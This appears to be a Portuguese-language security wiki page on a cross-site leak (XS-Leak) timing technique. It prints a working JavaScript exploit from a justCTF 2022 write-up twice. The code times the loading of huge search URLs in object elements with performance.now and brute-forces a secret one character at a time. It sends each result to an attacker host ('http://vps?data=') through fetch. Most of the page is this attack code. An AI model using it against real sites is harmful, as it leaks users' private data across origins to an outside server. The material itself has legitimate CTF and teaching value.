performance.now + Force heavy task

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Exploit retirado de https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/

Neste desafio, o usuário poderia enviar milhares de caracteres e, se a flag estivesse contida, os caracteres seriam enviados de volta para o bot. Assim, ao colocar uma grande quantidade de caracteres, o atacante poderia medir se a flag estava contida na string enviada ou não.

Inicialmente, eu não defini a largura e altura do objeto, mas depois descobri que é importante porque o tamanho padrão é muito pequeno para fazer diferença no tempo de carregamento.

<!DOCTYPE html>
<html>
<head>

</head>
<body>
<img src="https://deelay.me/30000/https://example.com">
<script>
fetch('https://deelay.me/30000/https://example.com')

function send(data) {
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
}

function leak(char, callback) {
return new Promise(resolve => {
let ss = 'just_random_string'
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
let start = performance.now()
let object = document.createElement('object');
object.width = '2000px'
object.height = '2000px'
object.data = url;
object.onload = () => {
object.remove()
let end = performance.now()
resolve(end - start)
}
object.onerror = () => console.log('Error event triggered');
document.body.appendChild(object);
})

}

send('start')

let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
let flag = 'justCTF{'

async function main() {
let found = 0
let notFound = 0
for(let i=0;i<3;i++) {
await leak('..')
}
for(let i=0; i<3; i++) {
found += await leak('justCTF')
}
for(let i=0; i<3; i++) {
notFound += await leak('NOT_FOUND123')
}

found /= 3
notFound /= 3

send('found flag:'+found)
send('not found flag:'+notFound)

let threshold = found - ((found - notFound)/2)
send('threshold:'+threshold)

if (notFound > found) {
return
}

// exploit
while(true) {
if (flag[flag.length - 1] === '}') {
break
}
for(let char of charset) {
let trying = flag + char
let time = 0
for(let i=0; i<3; i++) {
time += await leak(trying)
}
time/=3
send('char:'+trying+',time:'+time)
if (time >= threshold) {
flag += char
send(flag)
break
}
}
}
}

main()

</script>
</body>

</html>

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Previousperformance.now example NextEvent Loop Blocking + Lazy images

Last updated 4 months ago

<!DOCTYPE html> <html> <head> </head> <body> <img src="https://deelay.me/30000/https://example.com"> <script> fetch('https://deelay.me/30000/https://example.com') function send(data) { fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1) } function leak(char, callback) { return new Promise(resolve => { let ss = 'just_random_string' let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000) let start = performance.now() let object = document.createElement('object'); object.width = '2000px' object.height = '2000px' object.data = url; object.onload = () => { object.remove() let end = performance.now() resolve(end - start) } object.onerror = () => console.log('Error event triggered'); document.body.appendChild(object); }) } send('start') let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('') let flag = 'justCTF{' async function main() { let found = 0 let notFound = 0 for(let i=0;i<3;i++) { await leak('..') } for(let i=0; i<3; i++) { found += await leak('justCTF') } for(let i=0; i<3; i++) { notFound += await leak('NOT_FOUND123') } found /= 3 notFound /= 3 send('found flag:'+found) send('not found flag:'+notFound) let threshold = found - ((found - notFound)/2) send('threshold:'+threshold) if (notFound > found) { return } // exploit while(true) { if (flag[flag.length - 1] === '}') { break } for(let char of charset) { let trying = flag + char let time = 0 for(let i=0; i<3; i++) { time += await leak(trying) } time/=3 send('char:'+trying+',time:'+time) if (time >= threshold) { flag += char send(flag) break } } } } main() </script> </body> </html>